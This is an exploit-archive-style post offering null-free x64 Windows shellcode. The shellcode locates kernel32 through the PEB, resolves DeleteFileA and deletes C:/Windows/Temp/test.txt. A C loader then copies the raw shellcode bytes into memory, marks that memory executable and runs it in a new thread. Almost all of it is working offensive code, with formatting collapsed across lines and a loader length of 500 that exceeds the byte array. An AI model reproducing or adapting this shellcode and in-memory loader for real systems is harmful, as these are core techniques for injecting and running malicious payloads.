Windows/x64 Delete File / Dynamic PEB Method NULL-Free Shellcode

; Name: Windows/x64 - Delete File shellcode / Dynamic PEB method null-free Shellcode; Author: Nayani; Date: 22/04/2023; Tested on: Microsoft Windows [Version  10.0.22621 Build 22621]; Description: ; This an implementation of DeleteFileA Windows api to delete a file in the C:/Windows/Temp/ directory. ; To test this code create a file: ; echo "test" >> C:/Windows/Temp/test.txt ; and then execute the shellcode ; This code uses PEB to resolve kernel32 and find the DeleteFileA function. sub rsp, 28hand rsp, 0fffffffffffffff0hxor rdi, rdi            mul rdi                 mov r9, gs:[rax+0x60]  mov r9, [r9+0x18]     mov r9, [r9+0x20]     mov r9, [r9]          mov r9, [r9]          mov r9, [r9+0x20]     mov r8, r9             ; Get kernel32.dll ExportTable Addressmov r9d, [r9+0x3C]     add r9, r8             xor rcx, rcx            add cx, 0x88ffshr rcx, 0x8            mov edx, [r9+rcx]      add rdx, r8             ; Get &AddressTable from Kernel32.dll ExportTablexor r10, r10mov r10d, [rdx+0x1C]    add r10, r8             ; Get &NamePointerTable from Kernel32.dll ExportTablexor r11, r11mov r11d, [rdx+0x20]    add r11, r8             ; Get &OrdinalTable from Kernel32.dll ExportTablexor r12, r12mov r12d, [rdx+0x24]    add r12, r8             jmp short name_apigetaddr:pop r9                pop rcx                 xor rax, rax            mov rdx, rsp             push rcx                check_loop:mov rcx, [rsp]          xor rdi,rdi             mov edi, [r11+rax*4]    add rdi, r8             mov rsi, rdx            repe cmpsb              je resolver           incloop:inc raxjmp short check_loopresolver:pop rcx                 mov ax, [r12+rax*2]    mov eax, [r10+rax*4]   add rax, r8            push r9               ret                    name_api:                   ; DeleteFileAxor rcx, rcxadd cl, 0xC                 mov rax, 0x41656CFFFFFFFFFF    ;leAshr rax, 40push raxmov rax, 0x69466574656C6544    ;DeleteFipush raxpush rcx                    call getaddr             mov r14, rax                ; Bool DeleteFileA(;   LPCSTR lpFileName; );xor rcx, rcxmul rcx                     push rax                    mov rax, 0x7478742E74736574push raxmov rax, 0x2F706D65542F7377 ; ws/temp push raxmov rax, 0x6F646E69572F3A43 ; c:/Windopush rax                    ; RSP = "test.txt"mov rcx, rsp                ; RCX = "test.txt"sub rsp, 0x20               call r14                    ;Delete File in C:/Windows/Temp/test.txt add rsp, 0x20[!]===================================== POC ========================================= [!]#include <windows.h>void main() {  void* exec;  BOOL rv;  HANDLE th;  DWORD oldprotect = 0;      unsigned char payload[] = "\x48\x83\xec\x28\x48\x83\xe4\xf0\x48\x31\xff\x48\xf7\xe7\x65\x4c\x8b\x48\x60\x4d\x8b\x49\x18\x4d\x8b\x49\x20\x4d\x8b\x09\x4d\x8b\x09\x4d\x8b\x49\x20\x4d\x89\xc8\x45\x8b\x49\x3c\x4d\x01\xc1\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x41\x8b\x14\x09\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x34\x41\x59\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04\x82\x4c\x01\xc0\x41\x51\xc3\x48\x31\xc9\x80\xc1\x0c\x48\xb8\xff\xff\xff\xff\xff\x6c\x65\x41\x48\xc1\xe8\x28\x50\x48\xb8\x44\x65\x6c\x65\x74\x65\x46\x69\x50\x51\xe8\xa6\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x74\x65\x73\x74\x2e\x74\x78\x74\x50\x48\xb8\x77\x73\x2f\x54\x65\x6d\x70\x2f\x50\x48\xb8\x43\x3a\x2f\x57\x69\x6e\x64\x6f\x50\x48\x89\xe1\x48\x83\xec\x20\x41\xff\xd6\x48\x83\xc4\x20";          unsigned int payload_len = 500;  exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);  RtlMoveMemory(exec, payload, payload_len);  rv = VirtualProtect(exec, payload_len, PAGE_EXECUTE_READ, &oldprotect);  th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);  WaitForSingleObject(th, -1);}